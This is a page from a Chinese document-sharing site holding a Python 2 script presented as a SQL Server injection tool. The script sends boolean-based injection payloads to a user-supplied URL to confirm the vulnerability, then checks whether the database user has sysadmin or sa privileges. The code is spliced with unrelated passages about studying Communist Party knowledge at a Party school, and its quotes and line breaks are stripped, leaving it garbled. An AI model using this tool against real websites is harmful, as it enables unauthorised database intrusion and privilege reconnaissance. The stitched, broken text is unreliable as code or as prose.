《python编写数据库sa用户检测方案》由会员分享,可在线阅读,更多相关《python编写数据库sa用户检测方案(5页珍藏版)》请在金锄头文库上搜索。
1、我真正系统地接触和学习党的基本知识是在这次中级党校的培训班上。通过学习,了解了党的发展历程,对党的性质、宗旨、任务等基本知识有了进一步的了解Python编写数据库SA用户检测方案无聊的时候,用Python写的一个小程序,用有注入点的链接,检测当前数据库用户是否为sa,没什么技术含量。# Code by zhaoxiaobu Email: #-*- coding: UTF-8 -*-from sys import exitfrom urllib import urlopenfrom string import join,stripfrom re import searchdef is_sqlab
2、le():sql1=%20and%201=2sql2=%20and%201=1urlfile1=urlopen(url+sql1)urlfile2=urlopen(url+sql2)htmlcodes1=urlfile1.read()htmlcodes2=urlfile2.read()if not search(judge,htmlcodes1) and search(judge,htmlcodes2):print 信息恭喜!这个URL是有注入漏洞的!nprint 信息现在判断数据库是否是SQL Server,请耐心等候.is_SQLServer()else:print 错误你确定这个URL能
3、用?换个别的试试吧!ndef is_SQLServer():sql = %20and%20exists%20(select%20*%20from%20sysobjects)urlfile=urlopen(url+sql)htmlcodes=urlfile.read()if not search(judge,htmlcodes):print 错误数据库好像不是SQL Server的!nelse:print 信息确认是SQL Server数据库!nprint 信息开始检测当前数据库用户权限,请耐心等待.is_sysadmin()def is_sysadmin():sql = %20and%201=
4、(select%20IS_SRVROLEMEMBER(sysadmin)urlfile = urlopen(url+sql)htmlcodes = urlfile.read()if not search(judge,htmlcodes):print 错误当前数据库用户不具有sysadmin权限!nelse:print 信息当前数据库用户具有sysadmin权限!nprint 信息检测当前用户是不是SA,请耐心等待.is_sa()def is_sa():sql = %20and%20sa=(select%20System_user);urlfile = urlopen(url+sql)htmlc
5、odes = urlfile.read()if not search(judge,htmlcodes):print 错误当前数据库用户不是SA!nelse:print 信息当前数据库用户是SA!nprint n#nprint oSQL Server注入利用工具o print Email: nprint =;url = raw_input(信息请输入一个可能有注入漏洞的链接!nURL:)if url = :print 错误提供的URL必须具有 .asp?xxx= 这样的格式exit(1)judge = raw_input(信息请提供一个判断字符串.n判断字符串:)if judge = :print 错误判断字符串不能为空!exit(1)is_sqlable()对党的认识也有了进一步的提高。才真正体会到了中国共产党的伟大、光荣和正确,更感到只有中国共产党是全中国最广大人民利益的忠实代表